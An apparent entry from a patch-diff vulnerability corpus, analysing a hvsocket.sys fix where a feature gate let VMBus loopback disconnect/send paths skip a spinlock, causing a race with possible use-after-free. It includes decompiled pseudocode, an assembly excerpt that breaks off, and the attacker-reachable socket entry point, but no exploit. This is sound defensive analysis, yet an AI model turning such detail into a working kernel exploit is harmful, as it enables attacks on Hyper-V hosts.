- The &lt;code&gt;Vnpi&lt;/code&gt; pool tag (&lt;code&gt;0x69706E56&lt;/code&gt;), the &lt;code&gt;+0x08&lt;/code&gt; reference count, &lt;code&gt;+0x48&lt;/code&gt; spinlock, &lt;code&gt;+0x50&lt;/code&gt; CFG-guarded destructor dispatch, &lt;code&gt;+0x58&lt;/code&gt; free-mode selector, &lt;code&gt;+0x60&lt;/code&gt; SLIST header, &lt;code&gt;+0x68&lt;/code&gt; back-pointer, and &lt;code&gt;+0x210&lt;/code&gt; flags are all read directly from the free/dispatch paths in the disassembly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not determinable from the binaries (do not assume):&lt;/strong&gt;
- The default enablement state of &lt;code&gt;Feature_1274333499&lt;/code&gt;, hence whether the unsynchronized branch is the shipped default.
- Any escalation beyond a race-induced use-after-free / bugcheck. The &lt;code&gt;[entry+0x50]&lt;/code&gt; dispatch is CFG-guarded, and no pool-reuse, information-leak, or arbitrary read/write primitive is evidenced here.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>hvsocket.sys — VMBus loopback endpoint spinlock conditionally skipped behind a feature gate, allowing an unsynchronized access race (CWE-362) — fixed by making locking unconditional</title><link href="https://byteray-ai.github.io/drift-corpus/item/hvsocket_b903f3ca-hvsocket-report-20260629-003328.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/hvsocket_b903f3ca-hvsocket-report-20260629-003328.html</id><summary type="html">&lt;p&gt;KB5082123&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;hvsocket_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;hvsocket_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9678&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics (as reported by the diff tooling):&lt;/strong&gt; 269 matched functions (260 identical, 9 changed). 0 unmatched functions added or removed. An independent content diff (matching by name across relocations) confirms the same nine loopback/connection functions changed, plus the feature-staging initializer &lt;code&gt;rbc_InitializeFeatureStaging&lt;/code&gt; and the deletion of the gate helper &lt;code&gt;EvaluateCurrentState&lt;/code&gt;; no other function changed in a security-relevant way.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes a runtime feature gate (&lt;code&gt;EvaluateCurrentState&lt;/code&gt;, a Windows feature-staging / Velocity check) that in the unpatched build conditionally skipped acquisition of the spinlock at &lt;code&gt;object+0x48&lt;/code&gt; protecting the VMBus TL loopback endpoint pointer at &lt;code&gt;object+0x2b8&lt;/code&gt;. In the patched build the spinlock is acquired unconditionally, and the feature-descriptor table is emptied so the gate can no longer take the lock-skipping path. This is a synchronization hardening: when the gate resolved to the lock-skipping path, the endpoint pointer and its reference count were read, cleared, and referenced without the spinlock, creating a data race with the loopback reference/set paths that legitimately hold that spinlock (potentially at DISPATCH_LEVEL).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Race condition from improper synchronization (CWE-362), with a potential use-after-free consequence (CWE-416). This is not a classic check-then-use TOCTOU (CWE-367): there is no re-validated condition, only unsynchronized shared-state access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (unpatched &lt;code&gt;0x1C0006C30&lt;/code&gt;), &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (unpatched &lt;code&gt;0x1C00065EC&lt;/code&gt;), and seven other loopback/connection functions listed in section 8.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; In the unpatched driver the loopback endpoint operations call &lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;0x1C0001D78&lt;/code&gt;) to decide whether to acquire the spinlock at &lt;code&gt;object+0x48&lt;/code&gt; before reading/clearing/referencing the loopback endpoint pointer at &lt;code&gt;object+0x2b8&lt;/code&gt;. &lt;code&gt;EvaluateCurrentState&lt;/code&gt; is a feature-staging check: it calls &lt;code&gt;EvaluateFeature&lt;/code&gt; on the WIL feature descriptor &lt;code&gt;reg_FeatureDescriptors_a&lt;/code&gt; and returns &lt;code&gt;(cached_state != 1)&lt;/code&gt; (non-zero when the feature is enabled, zero when disabled). When it returns zero, the spinlock is bypassed and the endpoint pointer at &lt;code&gt;object+0x2b8&lt;/code&gt; is read and cleared without the spinlock. The spinlock at &lt;code&gt;object+0x48&lt;/code&gt; is the genuine synchronization primitive for this pointer: &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt; and &lt;code&gt;VmbusTlLoopbackSetEndpointDeliveryQueue&lt;/code&gt; acquire it unconditionally (in both builds) while reading &lt;code&gt;object+0x2b8&lt;/code&gt; and adjusting the endpoint reference count. Skipping it in the disconnect/send/notify paths therefore removes the mutual exclusion that keeps the endpoint pointer and reference count consistent across concurrent access. The patch removes the gate and acquires the spinlock unconditionally.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; Hyper-V socket (&lt;code&gt;AF_HYPERV&lt;/code&gt; / &lt;code&gt;HVSOCKET&lt;/code&gt;) user-mode operations. Send/disconnect operations on a loopback (same-partition) connection reach &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; / &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability Caveat:&lt;/strong&gt; Whether the lock-skipping path is actually taken depends on the runtime state of the WIL/Velocity feature descriptor, which is controlled by the OS/servicing configuration, &lt;strong&gt;not&lt;/strong&gt; by the attacker. The unlocked path is reachable only in configurations where that feature resolves to the disabled state. The patch removes this dependency entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;p&gt;Below is the read/clear sequence for the primary function, &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;, showing the conditional-versus-unconditional spinlock. Note that the later reference-count drop and free of the endpoint/connection objects (via &lt;code&gt;lock xadd&lt;/code&gt;, a CFG-checked cleanup callback, and &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;) occur &lt;strong&gt;outside&lt;/strong&gt; the spinlock in &lt;strong&gt;both&lt;/strong&gt; builds; the spinlock’s role is to make the read-and-clear of &lt;code&gt;object+0x2b8&lt;/code&gt; (and the back-pointer at &lt;code&gt;endpoint+0x68&lt;/code&gt;) atomic against concurrent holders of that spinlock.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED VmbusTlLoopbackDisconnect (0x1C0006C30)&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;VmbusTlLoopbackDisconnect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Feature gate: spinlock acquired only when EvaluateCurrentState() != 0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irql&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;irql&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// When EvaluateCurrentState() == 0, this read/clear runs WITHOUT the spinlock:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2b8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2b8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// conditional release&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleaseFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... reference-count drop / free of conn and ep (outside any lock, same in both builds)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED VmbusTlLoopbackDisconnect (0x1C00068B0)&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;VmbusTlLoopbackDisconnect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irql&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// unconditional&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2b8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// read under spinlock&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2b8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="c1"&gt;// clear under spinlock&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// unconditional&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleaseFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... reference-count drop / free of conn and ep (unchanged from unpatched)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;0x1C0006C30&lt;/code&gt;)&lt;/strong&gt; — the conditional spinlock and the unsynchronized read/clear:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C6F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;staging&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C74&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C76&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C0006C8B&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;48&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SpinLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="n"&gt;ly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C7C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;
